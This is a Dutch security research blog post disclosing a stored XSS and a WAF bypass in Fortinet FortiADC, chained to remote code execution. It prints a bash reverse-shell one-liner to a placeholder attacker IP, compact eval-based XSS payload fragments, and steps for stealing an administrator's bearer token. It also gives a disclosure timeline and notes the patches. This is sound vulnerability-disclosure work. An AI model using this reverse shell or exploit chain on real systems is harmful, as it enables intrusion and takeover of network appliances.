Leven-van-de-webpagina: Ruimte-efficiënte persistente XSS naar RCE in FortiADC

Blog door Almas Zhurtanov, Senior Security Specialist en Tom Tervoort, Principal Security Specialist

In dit artikel leggen onze security experts Tom en Almas uit hoe ze erin geslaagd zijn om de verdediging aan client- en serverzijde in FortiADC te omzeilen en een zogenaamd onschuldige XSS in een RCE te veranderen door optimaal gebruik te maken van een uiterst beperkte payloadruimte.

Vorige maand heeft Fortinet een hardnekkig XSS- en een WAF-omzeilingslek in de Fortinet Application Delivery Controller gepatcht. Door deze kwetsbaarheid kon een niet-geauthenticeerde aanvaller op afstand een opgeslagen cross site scripting (XSS)-aanval uitvoeren via HTTP-velden in weergaven van eventlogs.

Hoewel de ontdekking van de XSS-kwetsbaarheid op zichzelf niet zo interessant is, verhoogden de geïmplementeerde verdedigingsmaatregelen de complexiteit van het misbruiken aanzienlijk. Dit maakt deze XSS een goede casestudy voor het omzeilen van zowel client- als serververdediging.

Fortinet Logo 1200px

Betreffende producten:

  • FortiADC versie 7.0.0 tot 7.0.2
  • FortiADC versie 6.2.0 tot 6.2.3


 

Fortinet-adviezen:

  • https://www.fortiguard.com/psi.. (CVE-2022-38374)
  • https://www.fortiguard.com/psi... (CVE-2022-38381)

Productoverzicht en eerste ontdekking

Na het overzicht van producten die in aanmerking kwamen voor een kwetsbaarhedenonderzoek, koos het team Fortinet Application Delivery Controller (FortiADC) als onderzoeksonderwerp. De beslissing was gebaseerd op het feit dat het product een groot aantal complexe componenten bevatte, wat betekende dat het aanvalsoppervlak ook vrij groot was, en dat er een proefversie van 30 dagen beschikbaar was op AWS Marketplace. Volgens Fortinet:

"FortiADC is een geavanceerde Application Delivery Controller (ADC) die zorgt voor applicatiebeschikbaarheid, applicatiebeveiliging en applicatieoptimalisatie.
FortiADC omvat applicatieversnelling, WAF, IPS, SSLi, link load balancing en gebruikersauthenticatie in één oplossing om beschikbaarheid, prestaties en beveiliging te leveren in één all-inclusive licentie."
Selection of Fortinet Application Delivery Controller (FortiADC)

Na het implementeren van een instantie van het product werden de onderdelen ervan geanalyseerd. Een van de eerste dingen die werd geïdentificeerd, was de zogenaamde "AWS Scripting"-functionaliteit waarmee een beheerder bepaalde beheertaken kan uitvoeren door Python-scripts te uploaden en uit te voeren:

"FortiADC biedt de methode om elke AWS API voor gebruikers uit te voeren - Gebruikers kunnen Python script uploaden naar FortiADC (systeem > AWS Scripting pagina) met verkeersgroep instelling en het script uitvoeren op de FortiADC waartoe zijn verkeersgroep behoort."

Met andere woorden, dit betekent dat gebruikers willekeurige Python-scripts op de applicatieserver mogen uitvoeren. Wat kan er fout gaan? Deze functionaliteit kan worden misbruikt door het volgende script te uploaden en uit te voeren om een reverse shell te spawnen naar een machine die onder controle staat van een aanvaller.

import os; os.system("bash -i >en /dev/tcp/<aanvaller-ip>/<poort> 0>en1") 

Er werd besloten om dit probleem niet aan de leverancier te melden, omdat het deel uitmaakte van de bedoelde functionaliteit die beschikbaar was voor de beheerder, en er werd verwacht dat de leverancier het niet als een beveiligingslek zou beschouwen. Niettemin, aangezien de SSH-beheersinterface van FortiADC vrij beperkt bleek te zijn en alleen interactie bood met bepaalde onderdelen van de toepassing, zou het verkrijgen van toegang tot het besturingssysteem verdere analyse van de toepassing kunnen vergemakkelijken. Het is ook vermeldenswaard dat de toepassing out-of-the-box als root-gebruiker draait.

Het op afstand uitvoeren van commando's wordt meestal beschouwd als een kroonjuweel als het gaat om onderzoek naar kwetsbaarheden. Daarom werd geprobeerd manieren te vinden om dit te bewerkstelligen vanuit het perspectief van niet-geauthenticeerde gebruikers. Omdat er echter geen problemen met authenticatie of autorisatie werden geïdentificeerd, werd besloten om de focus te verleggen van het aanvallen van de beheerinterface zelf naar het identificeren van zwakke plekken in de manier waarop FortiADC verzoeken afhandelt naar bronnen achter de load balancer en web application firewall (WAF). Om dat te doen, werd een eenvoudige webserver apart ingezet en geconfigureerd om beheerd te worden door de ingebouwde FortiADC load balancer. De WAF-component werd ook ingeschakeld voor de corresponderende loadbalancinggroep. Op de webserver achter de loadbalancer werd een eenvoudige webtoepassing geïmplementeerd die alleen parameters teruggaf die bij de inkomende verzoeken werden ingediend.

Web server managed by FortiADC load balancer

Er werd al snel vastgesteld dat de WAF-component effectief enkele van de geteste kwaadaardige payloads blokkeerde.

Inspection of “Log & Report” functionality of FortiADC

Inspectie van de "Log and Report" functionaliteit van FortiADC toonde aan dat het alle inkomende verzoeken en verkeer naar zowel de management interface en alle middelen beheerd door FortiADC registreert, evenals een aantal security gerelateerde events, en deze parseert in door mensen leesbare tabelweergaven.

WAF component effectively blocked some of the basic malicious payloads that were tested.

Snelle fuzzing hielp bij het identificeren van de aanwezigheid van een XSS-kwetsbaarheid in de velden van die tabellen. Het gemarkeerde veld in de schermafbeelding hieronder laat zien dat het mogelijk was om een vetgedrukte teksttag (<b>) te injecteren

Ppossible to inject a bold text tag

Beperkingen

We ontdekten al snel dat het misbruiken van dit XSS-kwetsbaar punt werd bemoeilijkt door het feit dat tabelvermeldingen slechts een beperkte lengte konden hebben en dat alles na het15e teken van het einde werd afgeknipt. Onder normale omstandigheden zou dit omzeild kunnen worden door bijvoorbeeld korte DNS-namen te gebruiken om extra code van de door de aanvaller gecontroleerde bron te halen. Dit was echter niet mogelijk vanwege het beperkende Content-Security Policy (CSP) dat alle inhoud van domeinen van derden blokkeerde.

Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'

Een andere kleine, maar nuttige fout werd kort daarna ontdekt. Een niet-geminificeerde versie van het JavaScript-bestand van de applicatie was beschikbaar op https://application-base/ui/js/all.js. Controle van de code bevestigde dat de gegevens in de velden inderdaad werden bijgesneden, maar onthulde ook dat de tabellen gebaseerd zijn op de DataTables bibliotheek(http://datatables.net).

Fortinet 7
Fortinet 8

In combinatie met elkaar stonden de volgende beperkingen het misbruiken van dit XSS-kwetsbaar punt in de weg:

  • 15 tekens per tabelvermelding.
  • 10 vermeldingen per pagina.
  • Elke invoer wordt afzonderlijk geëvalueerd, aangezien de toepassing automatisch sluitende tags toevoegt.
  • Dit betekent dat het niet mogelijk is om een tag te openen bij de eerste raw, deze te sluiten bij de laatste raw en de payload in het midden te plaatsen. Elke invoer moet beginnen met een tag.
  • Dit resulteert in 150 tekens per pagina voor de payload, wat groot genoeg is om een workaround te vinden.


Om code-uitvoering te bereiken, moeten er echter tags worden toegevoegd. De kleinste tag zou minstens 3 tekens lang moeten zijn, terwijl de <script>-tag 8 tekens lang is. Dit betekent dat er 30-80 tekens ruimte nodig zijn voor alleen tags. Realistisch gezien kan alleen de code <script> worden gebruikt om XSS iets nuttigs te laten doen vanwege de beperkingen voor de payloadgrootte. Ter verduidelijking: er zijn natuurlijk veel andere alternatieve manieren om code uit te voeren, maar die nemen veel meer ruimte in beslag. Hierdoor blijven er slechts 70 tekens over voor de payload. Het is ook belangrijk dat elke invoer een geldige en volledige Javascript/HTML-instructie is vanwege het feit dat tags automatisch aan het einde van de invoer worden gesloten. Dit betekent dat de lengtebeperking niet echt 70 tekens is, maar eerder 10 afzonderlijke verklaringen met elk maximaal 7 tekens. Restrictieve CSP staat het laden van externe scripts niet toe, dus het is alleen mogelijk om code uit te voeren die al op de webpagina aanwezig is.


WAF omzeilen (CVE-2022-38381)

De enige manier om in dergelijke omstandigheden verder te komen was om een ander groter veld te vinden dat kwetsbaar was voor XSS, of om een payload te vinden die klein genoeg was om het gewenste resultaat te bereiken. Om minder beperkte velden te vinden die kwetsbaar waren voor XSS, analyseerden we welke door de gebruiker gecontroleerde velden ook kwetsbaar waren. Rijgegevens konden worden uitgebreid om meer details over de invoer te tonen. De volledige recordgegevens zagen er als volgt uit.

Fortinet 9

De parameters die op de schermafbeelding hierboven worden geïllustreerd, werden aangepast en dat leidde tot een onverwacht resultaat. Het bleek dat wanneer de protocolversie (HTTP/1.1) niet aanwezig was in de eerste regel van een verzoek, de loadbalancer het verzoek doorstuurde naar de doelhost, terwijl de WAF het negeerde. Dit wordt geïllustreerd op de onderstaande screenshots.

Fortinet 10

Als de protocolversie ontbreekt, wordt het verzoek doorgestuurd naar de doelhost met de status 200 OK zonder de WAF te activeren.

Fortinet 11
Fortinet 12

Dit probleem is opgelost in de nieuwere versie van FortiADC.

Misbruiken van persistente XSS (CVE-2022-38374)

Het bleek al snel dat geen andere plaatsen dan logboekvermeldingen kwetsbaar waren. Dit betekende dat de enige manier om de XSS te misbruiken was om een payload te bedenken die klein genoeg was en toch complex genoeg om iets nuttigs te doen.

Na veel brainstormen werd besloten om op de volgende manier te werk te gaan:

Het zou mogelijk zijn om in de karakterbeperkingen een verklaring van de functie te passen die op de knop voor de volgende pagina zou klikken. Dit geeft 10 extra ingangen om mee te werken en een reeds gedefinieerde functieaanroep zou slechts 1 ingang in beslag nemen om naar de volgende pagina te gaan indien nodig.

Zoek een andere door de gebruiker gecontroleerde parameter die op de pagina wordt weergegeven om de payload in op te slaan. Deze hoeft niet kwetsbaar te zijn voor XSS.

Definieer een functie om de payload op te halen en uit te voeren.

Om de impact aan te tonen, moet de uiteindelijke payload het Bearer Token van de beheerder stelen en het verzoek versturen om een Python-script te uploaden en uit te voeren (bijvoorbeeld het reverse shell-voorbeeld dat hierboven is opgenomen), waardoor de gewenste Remote Command Execution wordt bereikt.

Fortinet 13

Er was nog een extra beperking in dit stadium: DataTables werden eerder in het proces geladen dan de pagineerknoppen voor tabellen. Daarom was het nodig om een payload te gebruiken die pas zou worden uitgevoerd nadat de pagina volledig was geladen. Dit beperkte de keuzevrijheid aanzienlijk, omdat de kortste manier om dat te bereiken het gebruik van de underscore-functie (_) was en samen met de scripttags resulteerde in een payload van 30 tekens lang.

_.delay(_=>$('.next').click())

Een andere workaround die toegang gaf tot tags zonder 8 tekens uit te geven aan de <script>-tag, was het gebruik van de JQuery-selector die al op de pagina was geladen om elementen op de pagina te benaderen met hun naam.

$('ext').text()

Door de vertragingsfunctie op te splitsen in drie regels met de code <ext> en vervolgens de bovenstaande code uit te voeren, zou u effectief naar de volgende pagina gaan. Het enige probleem op dit punt was om de eval-functie in de resterende regels te passen. Dit is de reden waarom tag <ext> werd gebruikt. Het idee was om de payload zo ruimte-efficiënt mogelijk te maken. Merk op dat de letters 'ext' worden gebruikt om zowel het woord "text"op te bouwen als om toegang te krijgen tot de inhoud van de tag, wat het mogelijk maakt om een enkele variabele op twee plaatsen te hergebruiken.

Dit resulteerde in de volgende payload, schematisch weergegeven hoe deze eruit zal zien in de DataTable.

Fortinet 14

Dit vertaalt zich in de volgende code:

x=$('ext').text() e=eval e(e(x))

En de inhoud van <ext>-tags die de vertragingsfunctie bevatten om op de knop 'volgende' te klikken, is hierboven gegeven.

De payload op de volgende logpagina's gebruikt dezelfde techniek om de DataTables-structuur in een variabele op te slaan en vervolgens de inhoud ervan te openen en te evalueren. Eén van de velden die gebruikt kan worden om de payload van de tweede fase (hoofd) te leveren is "HTTP Query", die alle gegevens bevat die in een GET queryparameter worden verzonden. Het heeft nog steeds enkele beperkingen qua grootte en kan niet de hele resterende payload bevatten, maar het kan op zijn minst 400 tekens bevatten en aangezien er 10 van dergelijke items op een enkele pagina staan, is dit meer dan genoeg ruimte om het script te uploaden, de RCE te activeren en een reverse shell te krijgen. Aangezien deze payload wordt verzonden als een GET-queryparameter, moet deze vóór verzending worden gecodeerd met base64 en vóór de uitvoering worden gedecodeerd.

Fortinet

De volledige misbruikcode vindt u hier: https: //github.com/azhurtanov/CVE-2022-38374

Het probleem is opgelost in de nieuwste versie van FortiADC. De advisory is te vinden op https://www.fortiguard.com/psirt/FG-IR-22-232.


Tijdlijn

  • April 2022 - kwetsbaarheden geïdentificeerd
  • Juni 2022 - kwetsbaarheden bekendgemaakt aan FortiNet onder verantwoordelijke openbaarmaking
  • Juni 2022 - kwetsbaarheden erkend door de leverancier
  • Augustus 2022 - kwetsbaarheden verholpen
  • Oktober 2022 - advisory uitgebracht

Als u vragen hebt en/of contact wilt opnemen met de auteurs van de blog, neem dan contact op via cybersecurity@bureauveritas.com.